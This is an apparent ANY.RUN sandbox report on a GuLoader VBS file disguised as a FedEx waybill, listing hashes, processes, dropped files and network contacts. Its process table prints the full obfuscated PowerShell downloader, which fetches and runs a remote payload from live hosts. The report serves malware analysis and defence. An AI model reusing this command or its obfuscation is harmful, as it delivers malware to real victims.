| File name: | awb_fedex_documents_delivery_28_07_2025_0000000000000.vbs |
| Full analysis: | https://app.any.run/tasks/138c7b88-0fd0-4acb-aa57-c669bcf55ddb |
| Verdict: | Malicious activity |
| Threats: | GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities. |
| Analysis date: | September 05, 2025, 01:35:17 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with CRLF line terminators |
| MD5: | 15A3FB446913966C0AE7200F1F9CB2B1 |
| SHA1: | F35A8016002A496FEE43F7382ED244FFA7DDF66E |
| SHA256: | B8B738D4040B668AA5939BDACB921CAB555C5B28EE9AEC2DA65D44762FBE824F |
| SSDEEP: | 768:F1SWbeTo/p1a3+LDMrwwq0fiCUufY0DsyQk5jRvDHYrHFWLzyJK6o0Wa1ukuO671:F16TSCiohbk54dDHUVSVTIFJx3g |
MALICIOUS
GULOADER has been found (auto)
- wscript.exe (PID: 6948)
PowerShell executes remote file download (POWERSHELL)
- powershell.exe (PID: 5744)
SUSPICIOUS
Runs shell command (SCRIPT)
- wscript.exe (PID: 6948)
Starts CMD.EXE for commands execution
- wscript.exe (PID: 6948)
Starts POWERSHELL.EXE for commands execution
- wscript.exe (PID: 6948)
Gets or sets the security protocol (POWERSHELL)
- powershell.exe (PID: 5744)
Uses sleep to delay execution (POWERSHELL)
- powershell.exe (PID: 5744)
INFO
Script raised an exception (POWERSHELL)
- powershell.exe (PID: 5744)
Uses string split method (POWERSHELL)
- powershell.exe (PID: 5744)
Disables trace logs
- powershell.exe (PID: 5744)
Checks proxy server information
- powershell.exe (PID: 5744)
Remote server returned an error (POWERSHELL)
- powershell.exe (PID: 5744)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
143
Monitored processes
8
Malicious processes
1
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1568 | ping 127.0.0.1 | C:\Windows\System32\PING.EXE | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: TCP/IP Ping Command Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1636 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2716 | "C:\windows\system32\cmd.exe" /c ping 127.0.0.1 | C:\Windows\System32\cmd.exe | — | wscript.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4156 | C:\WINDOWS\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.3989_none_7ddb45627cb30e03\TiWorker.exe -Embedding | C:\Windows\WinSxS\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.3989_none_7ddb45627cb30e03\TiWorker.exe | — | svchost.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Modules Installer Worker Version: 10.0.19041.3989 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5744 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Clear-Content 'Telefonkdes';$TillGsbder='B';$TillGsbder+=[char]58;$nondivisibility=(Gcm $TillGsbder).CommandType;$nondivisibility=[StrinG]$nondivisibility;New-Alias -Name autotypi -Value ni;$nondivisibility+=':';(autotypi -p $nondivisibility -n Nationalizations -value { param ($DiversionalnfriGidate);$Diversional=6;do {$StofmisbruGs+=$DiversionalnfriGidate[$Diversional];$Brothels+=$Diversional;$Diversional+=7} until(!$DiversionalnfriGidate[$Diversional])$StofmisbruGs});(autotypi -p $nondivisibility -n Mystisk -value {param ($TekstliGt);.($Korporaler) ($TekstliGt)});$VankelmodiGhed=Nationalizations 'EddersnPulvereT lGiftendrGt.SnailyW';$VankelmodiGhed+=Nationalizations 'Nons pERystniBAfter CDiGterlBlephaI,ndritEFormidNFototet';$Libellernes=Nationalizations 'SlanGeMBankakoRedninzPetrolitransplExcorilBear,ea ForaG/';ConvertTo-Html;$Adventuresses=Nationalizations 'MisdidTSouthrlunepilsShatte1Unes.e2';$SpndinGer122='jakobi[caul nnTra GeE VersetOndsk . ubulaSDobbeleGaGsteRAlkaliVFormanIPredupcAfliriE AnetapFistulOprotruIOrdensnSyncarTRhexisM proteaDoGGonNUnme,oa ,olenGGre nwESaGfrer Cowle]Cessio:Nalita:HawkeysBevGGrES pervcIseultuGummierUdmanvI.debGeT Ti bayflertrpOkk.ltrTowlikORessouTDeadwoo RhinoCRefuelOKryptolVGtnin= AstiG$SvovldaOverGrDKhanerVFi mGeEByrladnTo.mentLis iGuSynonyrFlyGt eD.ctyoSAads lSBeautyEFladhoS';$Libellernes+=Nationalizations 'Non ec5Macra .Kofemi0 Foren Dykni.( cantaWPiccioiBalletn Rebutd ulrusoEnterrwSorG,usPenthi SynaptNSalinGT nitro Ty,ist1 attri0 dum y.Gennem0B ickc;Sishp. SynsfoW DipiciKrl opnCleari6Pladea4linac ;R.wena AldrinxForpli6Triste4FellaG;Ha dic CouponrHenGa.v Outst:Ud ori1Lampef3Syn er9Ecuad .whipca0Millio)Stelic Unsu pGAu.opaePsyc ocFjerdrkD,ctyooImperi/Touris2Story 0Quader1Epis o0VrdiG.0 Sho.t1Snkede0FareGr1T arer ExhausFGenlydiHematorTeleuteBiot,kfWaterwoUnderdxExtern/Dishev1 No.ju3B onze9tornar.U lear0';$Forflytte=Nationalizations 'BambusuBlindps FlatiEUnpe dRRevisi- FstemATakkenGKontr.eIndbrun Astert';Get-hotfix;$QuaGGas=Nationalizations 'BowlinhS natitpseudotM,norcpAfnazis.rilla:TroliG/YnGler/ AlloiaAd mbrcTalonieS ssabpStavellSi.lar.PewyconClerideAmercetDescen. InfamaOutflauKonGes/SvnlseNEmi,teTbu can/TotalfUPloyedfM,taceeGr.alijRedderl u,haubproddlaBoremer HippeePlejef1midiam8Ti lGs4DelinG. Qu.rrhRe.sakhKlh,lipRouthi> Smi.rh O,eretEnh.detIdentip MotorsKlaG s:Mudsil/Synode/Dele,tbResundiSel.byzSm.lsic ribea Jesuilhyalo . Sk vfnCasualeOdensetD,sman/d GpenNErnrinTFaktur/ThumbnU ShoplfTotalielumberjVenne.l Samsbb Tu,boaAfstemrSen epe Op is1Dotat 8Jackpi4Oversk. ,rysthWittifh stavlp';$Diversionalndskibede=Nationalizations 'Tidskr>';$Korporaler=Nationalizations 'Sto keinG.etoeGs evrx';$Enhedskommandoer='DesaltinG';$Diversionalnkvisitioners='\Kvalitetsmrker.Gro';Mystisk (Nationalizations '.uanac$LetaleGAldersL Over oVinylsbVerdenapla stL Perip:ApurpoT TransI SplittYellowAFar erlOrdremSsphincSunexpeyOrnisaSTruddoT KundeeAz temmSo twae u.excRRanGkls Raa.y=S Geac$ Mse.pezeuc on KumisVAss mb:He eroAIndstipSn,erjPBahtsbD DistiaUopslitNybeGyaca rat+.anemo$Ours.ldInterliIn.erlv ColliE FortyR Smaabs,verexivitaliopresumnbaywooAFamilil InGuiNReGnlsKMin GovBeGu.liAspar,sVes,laI D,mebtRareyfi dinidOMaikennBaGlyseH drocRT,ykfjs');Mystisk (Nationalizations 'i pers$In,ffaGUmlo.dLarm.ryOSol atBUnderbaI.convLH rmon:Pha thtCh ysii AGerbNSolsikTCorebeiDumbstNFra ekNfattreARhabdob cirkuU Glau.l missiAPlexiG=Korre $ Kont.q uskuu BrocaAIro izGSk,tleGFlattiAFarinGsNabosk.Stnin SM,liphPAnaptolRetraniS denatuhy Ge(Double$ GleasD TraumIAvertiVOpinioE StereRfldeboSGlorylI MicrooUpcastNQuaysiA ForfrLMaaderNPolemiDParboisK.iplikterebai VeG ebBerette ,indeDOberstepaafre)');Mystisk (Nationalizations $SpndinGer122);$QuaGGas=$Tintinnabula[0];$Bandhook=(Nationalizations 'Anskyd$ LsepuG AlmicLT evleONonnutB BiopsAAntilolIndbra:ParadobHesi.aI OpistLPholadl EqualeArchGodBlt,avVTilraaA Hv.lfl KulmuGEpilepsJabori=Ov rteN Deme eSkankew orstu- Dollao Desi.bSk pudJArbejdeDuctulC VensttNonsub Udtvr,sIrre.eyHjernesGelaspTIne,prEShaleyMSkinpr. Novel$Svind,vflaadeaMde okninvestk emipeaarsaGlAfkr dmUnpredOAfrustD FoxhoiFabronGKap llH Sovjee,istorD');Mystisk ($Bandhook);Mystisk (Nationalizations ' Pyrro$DetailBNa.oopiHilberlhaveGrlFoundeeAudioGdTalecovReGr oa,edeselAnticaGflyvers Pe,le.I dvikHSindrie EnkelaNonmoldPatriaeWhi kyrRayonesHnekyl[Dreadi$SpeedlFHawa.ioHviskhrF untaf Expenl Orea y FastetSon ett jeanie Boble]Haysta=Browns$ Ex irLFodnotiLokalbb Blre.eKonfirlIndekslfa,veseBo linr San.hnArchaeeRadiops');$PedreGal=Nationalizations 'Gallicd PostfO Rd osWImprovn';$PedreGal+=Nationalizations 'V ndkrLParat,OMindevAFormulD raneFSultani Besk L riefee';$Calotermes=Nationalizations 'Revue.$Depa tBCommitiBarnaclB dianlSnder,e elevidPlneklvBluep,aUninfelSchoolGVaGthusS riop. Torus$fireaaP KommeeForhoedLystserSyGemeeAfbry G Commaa SuccilSk,lar.ParkerISenecinAsso ivS ortsoOv rtakKoblere Fuldk(Indstn$ eclinQMimeohuOuter aSomaleGReplikG Arve aHyperes Spred, SuGe,$reduplrShivere OrdkldrationiAnte.erSovenaeprtendc SattvtStraffeUnap rdPerson)';$redirected=$Titalssystemers;Mystisk (Nationalizations 'indiGo$BracerGMetonylCen raoSkovjoBReGiveaCacc aLRec rs:TekstrODroschv atchEMerestRExpedinFusionA GriflTIntumeI topviOAnth,mNBurnooAbasrell OchnaI onikZ Co.naeVisumm=Priori( entratPl,ereENesslesbyGas,tesr Gi-.nmanlpA.aGlyaudskilt .quirH uando Renvas$HoldenRBadendein,betdMenu,lIOphthaROutstaEbippeicT iGfaT Misa,eUnmoldDTrv ns)');while (!$Overnationalize) {Mystisk (Nationalizations 'TelanG$WormweGJuri plGotthaoSanturbIsotheaProtealmozett:TanGfoDSkalpei MorG fCen bifKirtleeSciatirPropeneHandsknPlanlGtemiGr.iKonta aMisknolDumhedemet bo9 Arrow=Ps.udo$ ydrocGUtilfreerhvernAkkordtForfrei RytinlEGotrie') ;Mystisk $Calotermes;Mystisk (Nationalizations 'E ektr[C,rnifTLbninGHCa.sisRFindeleSekundaBrandvdAssertiSauc lnNewsreGUo,Gan.SoGnerTD,xielHBrasenr AllobeDekaeda Rek aDBrille]Baco i:Nimble:Burrowsterebrl SlynGeDialekeMisbinpNoncom(Sodden4Efterl0stra c0moheGa0 Fo br)');Mystisk (Nationalizations 'U advi$BuddhaGUdvalGLcacempO Sk lebOverreAVikt aL Geofy:DisGraoSkovmavharco eAdelssrUtilbjNWhoremA NonabT detaiiGlobalOInsp,nNCou teaLnG eslRaGGinIStem,eZTrokene Inspe=Dokume(Stentot SpireESeismos NarwaTboltr,- JernvP.etectA ColontHa,ronHV llai Tanke$LuctifrMyttereRispedDKvilibITuandyrSebasiEHumankcRve.istOwnhooEskraaldRe.erp)') ;Mystisk (Nationalizations 'KompaG$LosninGSlaGneLlaartuo V nGeBdevanta AntsyLUnderi:SkyldobfejlberKlatm i Inv sdmissuiGPrionueBentlem MormoAFunnelsFjerkrTBowe se odtaGrWoofef= .laGe$ Mi isG GydnilSquam O endelB Ov rfAHeltalLChauss:pr stoa ,pillUNonputTTerrinoFrimenM Discoa odkat ,ardiERiGsh dKurat +Afkris+BoldGa%ferret$Klinket MilieiLiquidnKaar.dtU dhaaI StamhnEn.omeNuroda.APlanlGBKasts,uReneGelSucc,raU habt. BankGcK akisONonj.iu AfbrynBedraGt') ;$QuaGGas=$Tintinnabula[$BridGemaster]}$BaiGneuses=418150;$Buzzle=33302;Mystisk (Nationalizations 'S eGek$St iatGYdels.lCandolOAndenkbPostmaaSubtill astef: A,aveSSepiaeLGendanb ab icETrd stmEnan,ia.scotnaBocaGeLNonsacstrkostF craicLImpa,nyTab.osvStannenRiskavi Unsepn MystiGKon nsE SlaGsRCornmen En,orERntGensSmyrni KlarGr=b nden KautelGAsb,steBirkettSnfter- SkrivCPr,proOdeepenNNonneGT TipolEBirkesnMesmertSnowkl faGo,y$.lelserNon,heeAfterwd ManG IkonsulrCiphereAutodicSilkelt LderjEDjeha d');Mystisk (Nationalizations 'B.ndma$DatalrGMur,rmlOmbroloCortyobMac inaBetatelU derl:KadrejAIdiotsd SulphvStejleo UndercThermoaLodsejtre GiceIndemndArbejd Vexill=Naved Vindha[Hect.GSUdmaj ySledGesTaranttForuree Lok,lm Sjleb.In,ersCSki.eno.amtaln EjakuvMartaGe Turbir BrndetContai] H.per: Unfl : .eletFReturnrTosenGoAnG ismEsoentBProcenaSmaadrsFeiGheeFor br6Varmeb4Goth cS JesuitLeverarShadufiBackstnVinkldG BudGe(Ambros$Preac SBobadilSucklebK.nflieSkjortmLe temaSam enaExpanslTem elsPostadfGulfi.lShuntkySalturvPullernBiprodiBadekanNord tGFordjee CroftrLimernnTur,oleSyvaarsThiope)');Mystisk (Nationalizations ' Unhos$SkiverGOverbyLBuxineoFiffiGb Up,tiAFlitteLRenteu:Theopap La,etr Afra,Eskriv.ARadiosf Bl apfAntichiRejsetDSkilfiALeern vRaadsvI Char TBriann Execr =Overhr Merc r[ Tr,ehSEkspo Y tubbeSTollekt In ereUnsla mSvinGl. CarmatT,vekneAbro axUnd rotFletfi.MiljbeEUnliminUnderkCInhalio fa,skDAfsiG,I eshienWheeriGS bspe]M tors:Latipl:NGenbaAPretubSstolesCUdvindiKonedeIDat ba.SalmonGdeGermE MdeafTStaurasLonGitt DobbeR Pu deiJapaneN InterGHu,nse(Styret$Femdoba ParaGD MomenvShr wdOPeps ncHubbuba orfattStorkeeBrdGruD unGer)');Mystisk (Nationalizations 'Gr.ndf$inte aG sprydlForsorOTremplBDecimaa FrostlStteka:Tr nspRHarpaGuBioGraGBrom rB Vand,YUnderdt SkulaUSoi,neR Ne,vrnFrdiGkEFotoderRedacti nincuNJuristGLuftv E Beho rCirros=Diplo $OctadspDif,errFeatheeBortkaADoublefTimekefPikedsiSsyGbedSvaGb.aUaarsrv RyGkliRastert Woman.SpindeSAnk loUweirdib Mad.isHoloGrTSweethRthin siFiGuran SnorkGSmudso(Mediek$Taarn b Sne aASypheriDivaneGBoG,ryN DdsikELazy oU SuperSBudGeteSb edoS Radio,Sve.ne$ ivelibflashtuEtatsrZOmbudsZ SvipsLOrGanieEvecte)');Mystisk $RuGbyturnerinGer;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5876 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6160 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6948 | "C:\WINDOWS\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\awb_fedex_documents_delivery_28_07_2025_0000000000000.vbs | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
| |||||||||||||||
Total events
13 925
Read events
13 923
Write events
2
Delete events
0
Modification events
| (PID) Process: | (4156) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdHigh |
Value: 31202821 | |||
| (PID) Process: | (4156) TiWorker.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing |
| Operation: | write | Name: | SessionIdLow |
Value: | |||
Executable files
0
Suspicious files
0
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5744 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_g3hclziy.bqz.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4156 | TiWorker.exe | C:\Windows\Logs\CBS\CBS.log | text | |
MD5:62A92AF6E36AF33C7C0850C53EA978FE | SHA256:09BB81F0A70E1916123C6492BBC683045F6A01B9CD1DB8AC5419CAE43E4AE488 | |||
| 5744 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_od5mjpab.xmf.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
31
DNS requests
16
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1268 | svchost.exe | GET | 200 | 23.216.77.6:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 72.246.169.155:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
4520 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
2428 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
2428 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
5944 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
3876 | RUXIMICS.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
1268 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5744 | powershell.exe | 116.90.61.74:443 | acepl.net.au | Hostopia Australia Web Pty Ltd | AU | unknown |
1268 | svchost.exe | 23.216.77.6:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
1268 | svchost.exe | 72.246.169.155:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
5744 | powershell.exe | 103.130.153.93:443 | bizcal.net | DataKL Solutions Sdn Bhd | MY | unknown |
5944 | MoUsoCoreWorker.exe | 20.106.86.13:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
acepl.net.au |
| unknown |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
bizcal.net |
| unknown |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |